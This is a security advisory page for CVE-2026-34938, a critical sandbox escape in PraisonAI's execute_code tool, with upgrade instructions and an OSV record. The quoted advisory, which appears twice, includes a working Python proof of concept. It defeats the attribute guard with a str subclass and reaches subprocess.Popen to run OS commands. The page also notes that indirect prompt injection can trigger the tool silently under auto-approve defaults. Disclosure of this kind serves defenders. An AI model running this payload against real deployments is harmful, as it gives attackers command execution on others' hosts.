CVE-2026-34938: PraisonAI Python Sandbox Escape Vulnerability

CRITICAL
Advisory Identifier: GHSA-6vh2-h83c-9294
CVSS 10.0
CWE-693
Published
Advisory Summary

CVE-2026-34938 is a CRITICAL (CVSS 10.0) python sandbox escape vulnerability (CWE-693: Protection Mechanism Failure) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves python sandbox escape via str subclass startswith() override in execute_code. Remediation is available by upgrading affected packages to version 1.5.90.

CVE-2026-34938 at a Glance

CVE Identifier CVE-2026-34938
GHSA Identifier GHSA-6vh2-h83c-9294
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-693: Protection Mechanism Failure
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-34938

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonaiagents fixed: 1.5.90
pip install praisonaiagents>=1.5.90
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonaiagents

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-34938, inspect your installed packages using pip:

pip show praisonaiagents

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.90), your application is affected.

Note: The pip show praisonaiagents command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-693: Protection Mechanism Failure, where the product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host. ### Details `python_tools.py:20` (source) -> `python_tools.py:22` (guard bypass) -> `python_tools.py:161` (sink) ```python # source -- _safe_getattr accepts any str subclass def _safe_getattr(obj, name, *default): if isinstance(name, str) and name.startswith('_'): # isinstance passes for subclasses raise AttributeError(...) # hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False}) # sink -- Popen reached via __subclasses__ walk r = Popen(['id'], stdout=PIPE, stderr=PIPE) ``` ### PoC ```python from praisonaiagents.tools.python_tools import execute_code payload = """ t = type FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False}) mro_attr = FakeStr(''.join(['_','_','m','r','o','_','_'])) subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_'])) mod_attr = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_'])) name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_'])) PIPE = -1 obj_class = getattr(type(()), mro_attr)[1] for cls in getattr(obj_class, subs_attr)(): try: m = getattr(cls, mod_attr, '') n = getattr(cls, name_attr, '') if m == 'subprocess' and n == 'Popen': r = cls(['id'], stdout=PIPE, stderr=PIPE) out, err = r.communicate() print('RCE:', out.decode()) break except Exception as e: print('ERR:', e) """ result = execute_code(code=payload) print(result) # expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)... ``` ### Impact Any user or agent pipeline running `execute_code()` is exposed to full OS command execution as the process user. Deployments using `bot.py`, `autonomy_mode.py`, or `bots_cli.py` set `PRAISONAI_AUTO_APPROVE=true` by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.

CVE-2026-34938 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
1.5.90
Product / Package Ecosystem Affected Versions Fixed Version
praisonaiagents
PyPI
< 1.5.90
1.5.90

References

Frequently Asked Questions

What is CVE-2026-34938?
CVE-2026-34938 is a security vulnerability in PraisonAI involving Python Sandbox Escape via str Subclass startswith() Override in execute_code under CWE-693: Protection Mechanism Failure.
Which PraisonAI versions are affected?
Affected versions include releases prior to 1.5.90 across affected packages: praisonaiagents.
What version fixes CVE-2026-34938?
Upgrading to 1.5.90 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonaiagents affected?
Yes, praisonaiagents is affected in releases prior to 1.5.90. Upgrade your dependency to 1.5.90 or later.
What is the CVSS score of CVE-2026-34938?
CVE-2026-34938 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-34938?
CVE-2026-34938 is classified under CWE-693: Protection Mechanism Failure (The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.).
How can I check PyPI dependencies for CVE-2026-34938?
Run the dependency tree command: 'pip show praisonaiagents'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6vh2-h83c-9294",
  "modified" : "2026-04-06T22:54:12Z",
  "published" : "2026-04-01T23:17:48Z",
  "aliases" : [ "CVE-2026-34938" ],
  "summary" : "PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code",
  "details" : "### Summary\n\n`execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host.\n\n### Details\n\n`python_tools.py:20` (source) -> `python_tools.py:22` (guard bypass) -> `python_tools.py:161` (sink)\n```python\n# source -- _safe_getattr accepts any str subclass\ndef _safe_getattr(obj, name, *default):\n    if isinstance(name, str) and name.startswith('_'):  # isinstance passes for subclasses\n        raise AttributeError(...)\n\n# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword\nFakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})\n\n# sink -- Popen reached via __subclasses__ walk\nr = Popen(['id'], stdout=PIPE, stderr=PIPE)\n```\n\n### PoC\n```python\n\nfrom praisonaiagents.tools.python_tools import execute_code\n\npayload = \"\"\"\nt = type\nFakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})\n\nmro_attr  = FakeStr(''.join(['_','_','m','r','o','_','_']))\nsubs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))\nmod_attr  = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))\nname_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))\nPIPE = -1\n\nobj_class = getattr(type(()), mro_attr)[1]\nfor cls in getattr(obj_class, subs_attr)():\n    try:\n        m = getattr(cls, mod_attr, '')\n        n = getattr(cls, name_attr, '')\n        if m == 'subprocess' and n == 'Popen':\n            r = cls(['id'], stdout=PIPE, stderr=PIPE)\n            out, err = r.communicate()\n            print('RCE:', out.decode())\n            break\n    except Exception as e:\n        print('ERR:', e)\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result)\n# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\nAny user or agent pipeline running `execute_code()` is exposed to full OS command execution as the process user. Deployments using `bot.py`, `autonomy_mode.py`, or `bots_cli.py` set `PRAISONAI_AUTO_APPROVE=true` by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonaiagents"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.90"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.5.89"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6vh2-h83c-9294"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34938"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-693" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T23:17:48Z",
    "nvd_published_at" : "2026-04-03T23:17:06Z"
  }
}